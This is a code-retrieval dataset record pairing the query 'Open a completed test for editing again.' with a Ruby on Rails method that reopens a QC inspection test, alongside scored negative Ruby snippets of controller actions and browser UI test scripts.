"def programmed_activities_plus_pending(date_from, date_to)\n\n sql = <<-SQL\n select oi.date, oi.time, oi.date_to, oi.time_to, oi.item_id, CAST (oi.status as UNSIGNED) as status,\n oi.item_description, sum(oi.quantity) as occupation,\n a.schedule_color, a.duration_days, a.duration_hours\n from orderds_orders o\n join orderds_order_items oi on oi.order_id = o.id\n join bookds_activities a on a.code = oi.item_id\n where o.status in (1,2) and oi.date >= ? and oi.date <= ?\n group by oi.date, oi.time, oi.date_to, oi.time_to, oi.item_id, oi.item_description, a.schedule_color, a.duration_days, a.duration_hours, oi.status\n order by oi.date asc, oi.time asc, oi.item_id\n SQL\n\n activities = repository.adapter.select(sql, date_from, date_to).inject([]) do |result, value|\n index = result.index { |x| x.date == value.date and x.time == value.time and\n x.date_to == value.date_to and x.time_to == value.time_to and\n x.item_id == value.item_id and x.schedule_color == value.schedule_color and\n x.duration_days == value.duration_days and x.duration_hours == value.duration_hours\n }\n if index\n if value.status == 1\n result[index].pending_confirmation = value.occupation\n elsif value.status == 2\n result[index].confirmed = value.occupation\n end\n else \n data = {date: value.date,\n time: value.time,\n date_to: value.date_to,\n time_to: value.time_to,\n item_id: value.item_id,\n item_description: value.item_description,\n schedule_color: value.schedule_color,\n duration_days: value.duration_days,\n duration_hours: value.duration_hours,\n pending_confirmation: (value.status == 1 ? value.occupation : 0),\n confirmed: (value.status == 2 ? value.occupation : 0),\n }\n result << OpenStruct.new(data)\n end \n result\n end\n\n\n\n end",
"def create\n\n @book = Book.new(book_params)\n @book.save_book\n\n own = InventoryOwn.find_by_book_id_and_user_id(@book.id, session[:user_id])\n need = InventoryNeed.find_by_book_id_and_user_id(@book.id, session[:user_id])\n\n unless (need and need.deleted == false) or (own and own.deleted == false)\n @inventory_own = InventoryOwn.new\n @inventory_own.book_id = @book.id\n @inventory_own.user_id = session[:user_id]\n @inventory_own.condition_id = params[:condition_id]\n @inventory_own.deleted = false\n\n respond_to do |format|\n if @inventory_own.save\n format.html { redirect_to search_path + \"?\" + params[:search].to_query(\"search\") }\n format.json { render action: 'show', status: :created, location: @inventory_own }\n else\n format.html { render action: 'new' }\n format.json { render json: @inventory_own.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to search_path + \"?\" + params[:search].to_query(\"search\")\n end\n end",
"def perform!\n log_start\n check_all\n store_audit_results\n notify_if_failed\n delete_stale_reports\n log_end\n end",
"def imported_events\n# ImportedEvent.new.search(summary)\n ImportedEvent.find_by_term_and_date(summary,date)\n end",
"def log_current_test_query\n qc_current_inspection = get_current_inspection_record( session[:user_id].id, session[:qc_inspection_type_code] )\n if qc_current_inspection.nil?\n ActiveRecord::Base.connection.execute(\"INSERT INTO qc_current_inspections\n (user_id, qc_inspection_type_code, qc_tests_query, tests_columns_list)\n VALUES(#{session[:user_id].id}, '#{session[:qc_inspection_type_code]}',\n '#{dm_session[:search_engine_query_definition].gsub(/'/, \"''\")}', '#{session[:columns_list].to_yaml}')\")\n else\n ActiveRecord::Base.connection.execute(ActiveRecord::Base.extend_update_sql_with_request(\"UPDATE qc_current_inspections\n SET qc_tests_query = '#{dm_session[:search_engine_query_definition].gsub(/'/, \"''\")}',\n tests_columns_list = '#{session[:columns_list].to_yaml}'\n WHERE user_id = #{session[:user_id].id} AND qc_inspection_type_code = '#{session[:qc_inspection_type_code]}' \"))\n end\n end",
"def index\n @inproceedings = Inproceedings.all\n end",
"def bulk_find_invoices\n @invoices = Invoice.find_all_by_id(params[:id] || params[:ids], :include => :project)\n raise ActiveRecord::RecordNotFound if @invoices.empty?\n raise Unauthorized unless @invoices.all?(&:visible?)\n @projects = @invoices.collect(&:project).compact.uniq\n @project = @projects.first if @projects.size == 1\n rescue ActiveRecord::RecordNotFound\n render_404\n end",
"def index\n @expression_of_interests = ExpressionOfInterest.all\n end",
"def index\n @incomplete_carts = Cart.where( purchase_completed: false )\n @completed_carts = Cart.where( purchase_completed: true )\n end",
"def apply_exam\n @companies = Company.all\n @placement_news = PlacementNews.all\n end",
"def index\n @invoced_companies = InvocedCompany.all\n end",
"def index\n if params[:search] != nil\n #Get search criteria from params object\n @tracking ||= params[:search][:tracking]\n @item_code ||= params[:search][:item_code]\n @description ||= params[:search][:description]\n @serial_number ||= params[:search][:serial_number]\n @warehouse ||= params[:search][:warehouse]\n @warehouse_obj ||= InventoryWarehouse.find_by_description(@warehouse)\n @location ||= params[:search][:location]\n @manufacturer ||= params[:search][:manufacturer]\n #Create and set the scope conditions\n @inventory_items = InventoryItem.scoped({})\n @inventory_items = @inventory_items.conditions \"inventory_items.id = ?\", @tracking unless @tracking.blank?\n @inventory_items = @inventory_items.conditions \"inventory_items.item_code like ?\", @item_code+\"%\" unless @item_code.blank?\n @inventory_items = @inventory_items.conditions \"inventory_items.description like ?\", \"%\"+@description+\"%\" unless @description.blank?\n @inventory_items = @inventory_items.conditions \"inventory_items.serial_number = ?\", @serial_number unless @serial_number.blank?\n @inventory_items = @inventory_items.conditions \"inventory_items.warehouse = ?\", @warehouse_obj.code unless @warehouse_obj.blank?\n @inventory_items = @inventory_items.conditions \"inventory_items.location = ?\", @location unless @location.blank?\n @inventory_items = @inventory_items.conditions \"inventory_items.manufacturer = ?\", @manufacturer unless @manufacturer.blank?\n else\n @inventory_items = []\n end\n @locations = InventoryItem.find(:all, :select => 'DISTINCT location', :order => 'location ASC').map { |x| x.location }\n @warehouses = InventoryWarehouse.all.map { |x| x.description }.sort\n @manufacturers = InventoryItem.find(:all, :select => 'DISTINCT manufacturer', :order => 'manufacturer ASC').map { |x| x.manufacturer }\n respond_to do |format|\n format.html { render :html => @inventory_items } # index.html.haml\n format.xml { render :xml => @inventory_items }\n format.xls #Respond as Excel Doc\n end\n end",
"def index\n @resolved = params[:resolved].eql?(\"true\") ? true : false\n @q = @current_event.alerts.includes(:subject).where(resolved: @resolved).order(priority: :desc, event_id: :asc, created_at: :desc).ransack(params[:q])\n @alerts = @q.result\n\n authorize(@alerts)\n @pokes = @current_event.pokes.where(operation_id: @alerts.where(subject_type: 'Transaction').uniq(&:subject_id).pluck(:subject_id))\n @alerts = @alerts.group_by(&:priority)\n end"
] |
[
"0.5878665",
"0.57744426",
"0.5752357",
"0.55996585",
"0.5463367",
"0.5380196",
"0.53757155",
"0.5346502",
"0.52904576",
"0.52846503",
"0.52168226",
"0.5198116",
"0.51441634",
"0.5122801",
"0.5109033",
"0.50955945",
"0.5084032",
"0.50815564",
"0.50662553",
"0.5065539",
"0.505509",
"0.5040516",
"0.49782127",
"0.49747932",
"0.49722493",
"0.49653155",
"0.4957304",
"0.49488634",
"0.49472862",
"0.49428645",
"0.49386287",
"0.49335614",
"0.49254066",
"0.4912125",
"0.48988733",
"0.48938745",
"0.48884413",
"0.4868953",
"0.48652104",
"0.4853524",
"0.48521873",
"0.4852172",
"0.48484135",
"0.4826456",
"0.48241538",
"0.4822186",
"0.48214835",
"0.48154205",
"0.47981417",
"0.47815004",
"0.47784844",
"0.4772151",
"0.4772151",
"0.4772151",
"0.47717038",
"0.47541386",
"0.4753859",
"0.47500083",
"0.47480536",
"0.47403967",
"0.47383958",
"0.47350615",
"0.47347936",
"0.4732131",
"0.47312224",
"0.47291052",
"0.47287968",
"0.47235855",
"0.47207588",
"0.4719758",
"0.47063866",
"0.47052208",
"0.47000593",
"0.47000593",
"0.47000235",
"0.46913525",
"0.46850908",
"0.4683629",
"0.46752554",
"0.4671181",
"0.4669785",
"0.46688214",
"0.464955",
"0.46482837",
"0.46441495",
"0.46409827",
"0.4634999",
"0.46320942",
"0.46203583",
"0.46192855",
"0.46187338",
"0.4617702",
"0.4617013",
"0.46113327",
"0.4610716",
"0.46106628",
"0.46085045",
"0.4604749",
"0.4604646",
"0.46037126"
] |
0.7215116
|
0
|
Open a completed test for editing again.
|
def re_edit_qc_inspection_test
id = params[:id]
if id && @qc_inspection_test = QcInspectionTest.find(id)
@qc_inspection_type_code = @qc_inspection_test.qc_inspection.qc_inspection_type.qc_inspection_type_code
return if authorise_for_web(program_name(@qc_inspection_type_code),'edit')== false
@qc_inspection_test.set_status QcInspectionTest::STATUS_CREATED
edit_qc_inspection_test
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def open_fertility_tests\n touch \"* marked:'Fertility testing and workup'\"\n end",
"def test02_post_open_board_cancel_article_draft\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_boards_post_open_article_new)\n\t\t\n \t\tcreate_article_draft \"Article for Draft #{random}\"\n\t\tcancel_delete\n\tend",
"def test05_post_open_board_close_article_draft\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_boards_post_open_article_new)\n\t\t\n \t\tcreate_article_draft \"Article for Draft #{random}\"\n\t\tclose_delete\n\tend",
"def test04_post_open_board_edit_article_draft\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_boards_post_open_article_new)\n\t\t\n \t\tcreate_article_draft \"Article for Draft #{random}\"\n\t\tsleep 2\n\t\tedit_draft\n\t\t\n\t\tsleep 2\n\t\tassert $post_new_post.exists?\n\tend",
"def test03_pre_closed_board_edit_article_draft\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_boards_pre_closed_article_new)\n\t\t\n \t\tcreate_article_draft \"Article for Draft #{random}\"\n\t\tsleep 2\n\t\tedit_draft\n\t\t\n\t\tsleep 2\n\t\tassert $browser.text.include? \"submitted this for approval\"\n\tend",
"def edit_qc_inspection_test_from_test_list\n edit_qc_inspection_test true\n end",
"def open\n ensure!\n open_in_editor\n end",
"def test02_pre_open_blog_edit_article_draft\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_blogs_pre_open_article_new)\n\t\t\n\t\tcreate_article_draft \"Article for Draft #{random}\"\n\t\tsleep 2\n\t\tedit_draft\n\t\t\n\t\tsleep 2\n\t\tassert $browser.text.include? \"submitted this for approval\"\n\tend",
"def test\n system \"newlisp-edit\"\n end",
"def test_ID_25844_edit_profile_cancel_reverted_changes\n login_as_user1\n go_to_edit_profile_page\n verify_cancel_reverted_changes_edit_profile \"test_ID_25835_edit_profile_desc\"\n end",
"def test_ID_25844_edit_profile_cancel_reverted_changes\n login_as_user1\n go_to_edit_profile_page\n verify_cancel_reverted_changes_edit_profile \"test_ID_25835_edit_profile_desc\"\n end",
"def test03_post_open_board_CloseFlagArticleDialog\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_boards_post_open_article)\n\t\tsleep 2\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\t\tsleep 2\n\t\tcommentCloseFlag\n\t\tsleep 1\n\t\t\n\t\tassert $comment_flag_link.exists?\n\tend",
"def test_edit\n #login_as(:john)\n #get :edit, :id => @first_id\n\n #assert_response :success\n #assert_template 'edit'\n\n #assert_not_nil assigns(:taverna_enactor)\n #assert assigns(:taverna_enactor).valid?\n \n assert true\n end",
"def te_st_099_WIP\r\n\r\n sTestCase_Name = \"test_099_WIP\"\r\n puts2(\"Starting Testcase: #{sTestCase_Name}\")\r\n\r\n puts2(\"Close the window\")\r\n\r\n # Set the flag to close the $browser after the last test case runs\r\n @@bCloseBrowser = true\r\n\r\nend",
"def test03_post_open_news_edit_article_post_TC_24306\n\t\tlogin $editor_1_email, $master_password\n\t\t$browser.goto($patch_news_post_open_article)\n\t\t\n\t\t$post_edit_post.when_present.click\n\t \tsleep 2\n\t\t$browser.execute_script(\"jQuery('iframe.wysihtml5-sandbox').contents().find('body').prepend('lava likes edit. #{random}')\")\n\t\t$post_now_alt_1.when_present.fire_event(\"onclick\")\n\t\tsleep 2\n\t\t\n\t\tassert $post_edit_post.exists?\n\tend",
"def test02_post_open_board_CloseFlagNoteDialog\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_boards_post_open_note)\n\t\tsleep 2\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\t\tsleep 2\n\t\tcommentCloseFlag\n\t\tsleep 1\n\t\t\n\t\tassert $comment_flag_link.exists?\n\tend",
"def test05_pre_closed_board_close_article_draft\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_boards_pre_closed_article_new)\n\t\t\n \t\tcreate_article_draft \"Article for Draft #{random}\"\n\t\tclose_delete\n\tend",
"def test04_post_closed_news_edit_article_draft\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_post_closed_article_new)\n\t\t\n\t\tcreate_article_draft \"Article for Draft #{random}\"s\n\t\tsleep 2\n\t\tedit_draft\n\t\t\n\t\tsleep 2\n\t\tassert $post_new_post.exists?\n\tend",
"def test_edit(pid)\n result = super\n if result\n return result\n else\n return test_edit_from_policy(pid)\n end\n end",
"def sample_for_edit(src = :edit_example)\n current = edit_id && User.find_by(id: edit_id)\n current&.delete\n new_record(src).tap do |record|\n self.edit_id = record.id if record.save!\n end\n end",
"def sample_for_edit(src = :edit_example)\n current = edit_id && Manifest.find_by(id: edit_id)\n current&.delete\n new_record(src).tap do |record|\n self.edit_id = record.id if record.save!\n end\n end",
"def test05_pre_open_blog_close_article_draft\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_blogs_pre_open_article_new)\n\t\t\n\t\tcreate_article_draft \"Article for Draft #{random}\"\n\t\tclose_delete\n\tend",
"def test_ID_25843_edit_profile_what_i_love_about_your_town\n login_as_user1\n go_to_edit_profile_page\n verify_little_more_about_my_community\n verify_text_can_be_entered_saved_on_about_my_community\n end",
"def test_ID_25843_edit_profile_what_i_love_about_your_town\n login_as_user1\n go_to_edit_profile_page\n verify_little_more_about_my_community\n verify_text_can_be_entered_saved_on_about_my_community\n end",
"def done\n frm.button(:name=>\"takeAssessmentForm:_id5\").click\n EditAssessment.new(@browser)\n end",
"def edit\n\t\tsession[:problem_id] = params[:problem_id]\n\t\tsession[:track_id] = params[:track_id]\n\t\tsession[:test_case_id] = params[:test_case_id]\n\t\t@test_case = TestCase.find_by_id(session[:test_case_id])\n\tend",
"def test_020\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Set Make_root as a suitable directory.\n type \"option_makeroot\", \"public/\"\n\n #The button \"which returns reflecting change\" is clicked.\n click $xpath[\"task\"][\"back_to_reflect_the_changes\"]\n\n #A subwindow carries out fade-out and closes.\n\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end",
"def test_edit\n\n # Try editing without logging in.\n check_05 = checks(:check_05)\n \n get(:edit, { :id => check_05.id }, {})\n assert_redirected_to(:controller => 'user', :action => 'login')\n\n # Try editing from a non-Admin account.\n get(:edit, { :id => check_05.id }, rich_designer_session)\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n #assert_equal(Pcbtr::MESSAGES[:admin_only], flash['notice'])\n\n # Try editing from an Admin account\n admin_session = cathy_admin_session\n get(:edit, { :id => check_05.id }, admin_session)\n assert_response 200\n assert_equal(check_05.id, assigns(:check).id)\n\n assert_raise(ActiveRecord::RecordNotFound) {\n get(:edit, { :id => 32423423 }, admin_session)\n }\n end",
"def edit\n @step = Step.find(params[:id])\n @tc = TestCase.find(params[:test_case_id])\n @project = Project.find(params[:project_id])\n end",
"def test04_pre_closed_board_cancel_article_draft\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_boards_pre_closed_article_new)\n\t\t\n \t\tcreate_article_draft \"Article for Draft #{random}\"\n\t\tcancel_delete\n\tend",
"def test04_post_closed_board_edit_article_draft\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_boards_post_closed_article_new)\n\t\t\n\t\tcreate_article_draft \"Article for Draft #{random}\"\n\t\tsleep 2\n\t\tedit_draft\n\t\t\n\t\tsleep 2\n\t\tassert $post_new_post.exists?\n\tend",
"def test_003\n\n # login\n login\n @@pu = 1\n @@pj = 1\n open\"/devgroup/pj_index/#{@@pu}/#{@@pj}\"\n wait_for_page_to_load \"30000\"\n\n # test for individual analysis task\n open(\"/task/index2/#{@@pu}/#{@@pj}\")\n #The contents of a display of a \"master\" tab become\n # a thing for individual analysis task registration.\n click $xpath[\"task\"][\"main_area_td4\"]\n wait_for_page_to_load \"30000\"\n assert is_text_present(_(\"Registration of an Analysis Task\"))\n # select analyze type: 個人解析\n select \"analyze_type\", \"label=#{@individual}\"\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n # select uploading method in the master tab\n assert is_text_present(_(\"Select a master\"))\n assert is_text_present(_(\"Master\"))\n assert is_text_present(_(\"Select the upload method of individual analysis files\"))\n assert is_text_present(_(\"Upload of individual analysis files\"))\n\n #Select \"uploading a file individually\"\n click \"file_upload_upload_way_upload_each\"\n assert is_text_present(_(\"Uploaded individually.\"))\n #Click button Read tree\n click $xpath[\"task\"][\"read_tree\"]\n assert !60.times{ break if (is_text_present(_(\"Directory structure\")) rescue false); sleep 2 }\n #It will return, if a check is returned for uploading collectively (F2-003)\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n # logout\n logout\n\n end",
"def edit_draft_tester(draft, user = nil, success: true, reader: true)\n if user\n assert_not_equal(user, draft.user)\n else\n user = draft.user\n end\n params = {\n id: draft.id\n }\n requires_login(:edit, params, user.login)\n if success\n assert_template(\"names/descriptions/edit\")\n assert_template(\"names/descriptions/_form\")\n elsif reader\n assert_redirected_to(name_description_path(draft.id))\n else\n assert_redirected_to(name_path(draft.name_id))\n end\n end",
"def test_03_project_status_change\n\t\t\t\t\n\t\t\t\t$obj = Usamp_lib.new\n\t\t\t\t$obj.Delete_cookies()\n\t\t\t\t$ie = $obj.Usampadmin_login($admin_email,$admin_passwd)\n\t\t\t\tsleep 2\n\t\t\t\t\n\t\t\t\t#@pid = Process.create(\n #:app_name => 'ruby popup_closer_IE.rb',\n #:creation_flags => Process::DETACHED_PROCESS\n # ).process_id\n #at_exit{ Process.kill(9,@pid) }\n\t\t\t\t\n\t\t\t\t$file_1 = File.open($proj_id_file_path)\n\t\t\t\t$prj_id = $file_1.gets\n\t\t\t\tputs $prj_id\n\t\t\t\t$file_1.close;\n\t\t\t\t\n\t\t\t\t$st = '1'\n\t\t\t\t$test_description = \"Change Project status to BILLING DEPT\"\n\t\t\t\t$myfile.print \"<tr><td class=\\\"td1\\\">\"+$st+\"</td>\"\n\t\t\t\t$myfile.print \"<td class=\\\"td2\\\">\"+$test_description+\"</td>\"\n\t\t\t\t\n\t\t\t\t$prj_n = Base64.encode64($prj_id)\n\t\t\t\t\n\t\t\t\t$ie.goto(\"http://q.usampadmin.com/add_project.php?project_id=#{$prj_n}\")\n\t\t\t\tsleep 5\n\t\t\t\t$ie.select_list(:id, \"optProjectStatus\").select(\"Billing Dept\")\n\t\t\t\t$ie.button(:value,\"Save\").click\n sleep 3\n\t\t\t\tif($ie.html.include?('Upload or paste completed tokens for crediting'))\n\t\t\t\t\t$myfile.print \"<td class=\\\"td3\\\"><font color=\\\"green\\\">TEST PASSED</font></td></tr>\"\n\t\t\t\telse\n\t\t\t\t\t$myfile.print \"<td class=\\\"td3\\\"><font color=\\\"red\\\">TEST FAILED</font></td></tr>\"\n\t\t\t\tend\n\t\t\t\t$st = '3'\n\t\t\t\t$test_description = \"Review Project in admin\"\n\t\t\t\t$myfile.print \"<tr><td class=\\\"td1\\\">\"+$st+\"</td>\"\n\t\t\t\t$myfile.print \"<td class=\\\"td2\\\">\"+$test_description+\"</td>\"\n\t\t\t\t$file_2 = File.open($token1_path)\n\t\t\t\t$pr_tk1 = $file_2.gets\n\t\t\t\tputs $pr_tk1\n\t\t\t\t$file_2.close;\n\t\t\t\t\n\t\t\t\t$file_3 = File.open($token2_path)\n\t\t\t\t$pr_tk2 = $file_3.gets\n\t\t\t\tputs $pr_tk2\n\t\t\t\t$file_3.close;\n\t\t\t\t\n\t\t\t\t$file_4 = File.open($token3_path)\n\t\t\t\t$pr_tk3 = $file_4.gets\n\t\t\t\tputs $pr_tk3\n\t\t\t\t$file_4.close;\n\n\t\t\t\t$tok_list = \"#{$pr_tk1.chomp}\" + \",\" + \"#{$pr_tk3.chomp}\" +\",\" + \"#{$pr_tk2.chomp}\"\n\t\t\t\tputs $tok_list\n\t\t\t\t\n\t\t\t\t$ie.text_field(:id, \"txtTokens\").set($tok_list)\n\t\t\t\t$ie.button(:value,\"Check Tokens\").click\n\t\t\t\tsleep 10\n\t\t\t\t$ie.button(:value,\"Upload Tokens >>\").click\n\n\t\t\t\tsleep 10\n\t\t\t\t$zip_fl = $zip_fl.gsub(\"/\", \"\\\\\")\n\t\t\t\tputs $zip_fl\n\t\t\t\t#$ie.file_field(:id,\"fileName\").flash\n\t\t\t\t#$ie.file_field(:id,\"fileName\").flash\n\t\t\t\t#$ie.file_field(:id,\"fileName\").flash\n\t\t\t\t#$ie.file_field(:id,\"fileName\").flash\n\t\t\t\t#$ie.file_field(:id,\"fileName\").flash\n\t\t\t\t#$ie.file_field(:id,\"fileName\").flash\n\t\t\t\t#$ie.file_field(:id,\"fileName\").set($zip_fl)\n\t\t\t\t#$ie.file_field(:id,\"fileName\").set($zip_fl)\n\t\t\t\t#$ie.file_field(:id,\"fileName\").set($zip_fl)\n\t\t\t\t$ie.file_field(:id,\"fileName\").set($zip_fl)\n \n\t\t\t\t$ie.file_field(:id,\"fileName\").set(File.new($zip_fl).read)\n\t\t\t\t#$ie.file_field(:id,\"fileName\").set(File.new($zip_fl).read)\n \n\t\t\t\t#$ie.file_field(:name, $zip_fl).set($zip_fl)\n\t\t\t\tsleep 5\n\t\t\t\t$ie.select_list(:id, \"optBillingCode1\").select($billing_code)\n\t\t\t\t$ie.select_list(:id, \"optBillingCode2\").select($billing_code)\n\t\t\t\t#$ie.select_list(:id, \"optMonthId\").set(\"November\")\n\t\t\t\t#$ie.select_list(:id, \"optYearId\").set(\"2011\")\n\t\t\t\t$ie.button(:value,\"Review Invoice>>\").click\n\t\t\t\tsleep 5\n\t\t\t\t$ie.button(:value,\"Submit to Accounting\").click\n\t\t\t\tsleep 10\n\t\t\t\tif($ie.html.include?('Your project has been successfully submitted'))\n\t\t\t\t\tputs \"Pass - reviewed\"\n\t\t\t\t\t$myfile.print \"<td class=\\\"td3\\\"><font color=\\\"green\\\">TEST PASSED</font></td></tr>\"\n\t\t\t\telse\n\t\t\t\t\t$myfile.print \"<td class=\\\"td3\\\"><font color=\\\"red\\\">TEST FAILED</font></td></tr>\"\n\t\t\t\t\tputs \"Fail - not reviewed\"\n\t\t\t\tend\n\t\t\t\t$ie.link(:text,\"Logout\").click\n\t\t\t\t$ie.close\n\t\t\t\t\n\t end",
"def test_002\n\n # login\n login\n @@pu = 1\n @@pj = 1\n open\"/devgroup/pj_index/#{@@pu}/#{@@pj}\"\n wait_for_page_to_load \"30000\"\n\n # test for individual analysis task\n open(\"/task/index2/#{@@pu}/#{@@pj}\")\n #The contents of a display of a \"master\" tab become\n # a thing for individual analysis task registration.\n click $xpath[\"task\"][\"main_area_td4\"]\n wait_for_page_to_load \"30000\"\n assert is_text_present(_(\"Registration of an Analysis Task\"))\n # select analyze type: 個人解析\n select \"analyze_type\", \"label=#{@individual}\"\n #Click Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n #Select \"uploading a file individually\"\n click \"file_upload_upload_way_upload_each\"\n assert is_text_present(_(\"Uploaded individually.\"))\n click $xpath[\"task\"][\"read_tree\"]\n\n assert !60.times{ break if (is_text_present(_(\"Directory structure\")) rescue false); sleep 2 }\n # logout\n logout\n\n end",
"def open_test_model\n basename = File.basename(__FILE__, \".*\")\n path = File.dirname(__FILE__)\n test_model = File.join(path, basename, \"MaterialTests.skp\")\n # To speed up tests the model is reused is possible. Tests that modify the\n # model should discard the model changes: close_active_model()\n # TODO(thomthom): Add a Ruby API method to expose the `dirty` state of the\n # model - whether it's been modified since last save/open.\n # Model.path must be converted to Ruby style path as SketchUp returns an\n # OS dependant path string.\n model = Sketchup.active_model\n if model.nil? || File.expand_path(model.path) != test_model\n close_active_model()\n Sketchup.open_file(test_model)\n end\n Sketchup.active_model\n end",
"def test_edit\n\n checklist_0_1 = checklists(:checklist_0_1)\n \n # Try editing without logging in.\n get(:edit, {:id => checklist_0_1.id}, {})\n assert_redirected_to(:controller => 'user',:action => 'login')\n\n # Try destroying from a non-Admin account.\n get(:edit, { :id => checklist_0_1.id }, rich_designer_session)\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n #assert_equal(Pcbtr::MESSAGES[:admin_only], flash['notice'])\n\n get(:edit, { :id => checklist_0_1.id }, cathy_admin_session)\n assert_response 200\n\n end",
"def test02_post_open_news_edit_media_post_TC_24306\n\t\tlogin $editor_1_email, $master_password\n\t\t$browser.goto($patch_news_post_open_note)\n\t\t\n\t\tsleep 2\n\t\t$post_edit_post.when_present.click\n\t\t$post_media_description.when_present.set(\"mt. rainier likes edit. #{random} \")\n\t\t$post_now_alt_1.when_present.fire_event(\"onclick\")\n\t\t\n\t\tassert $post_edit_post.exists?\n\tend",
"def reopen #rename to differentiate variables\n@open = true\nend",
"def test_010\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n #Pu created\n\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n # test master of PJ is not registered\n assert is_text_present(_(\"Details of an analysis task\"))\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n\n click $xpath[\"task\"][\"general_control_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Basic Setting\")) rescue false); sleep 2 }\n sleep 3\n select \"analyze_type\", \"label=#{@individual}\"\n sleep 3\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n\n # click link setup QAC\n assert is_text_present(\"qac\")\n sleep 3\n click $xpath[\"task\"][\"option_setup_link\"]\n # check log in the navigation bar\n assert !60.times{ break if (is_text_present(_(\"It returns to the state before a save.\")) rescue false); sleep 2 }\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end",
"def test03_post_closed_news_CloseFlagArticleDialog\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_post_closed_article)\n\t\tsleep 2\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\t\tsleep 2\n\t\tcommentCloseFlag\n\t\tsleep 1\n\t\t \n\t\tassert $comment_flag_link.exists?\n\tend",
"def test05_pre_open_news_NoteTwoComments_TC_24319\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_pre_open_note)\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\tend",
"def test03_pre_open_board_pre_open_board_EventCancel\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_event)\n\t\t\t\n\t\tsleep 2\n\t\tassert $post_pick_group.exists?\n \t\trepostGroupPop\n \t\t$post_event_title.set(\"Event #{random}\")\n \t\t$post_event_calendar_start_text.set(\"#{next_year}-01-17\") \n \t\t$post_event_time_start_field.click\n \t\t$post_event_select_time.select(\"8:00 AM\")\n \t\t$post_event_location.set(\"Location #{random}\")\n \t\t$browser.execute_script(\"jQuery('iframe.wysihtml5-sandbox').contents().find('body').prepend('Automated Text')\")\n\t\t$post_cancel.click\n\t\tsleep 3\n\n\t\tassert $post_cancel.exists?\n\tend",
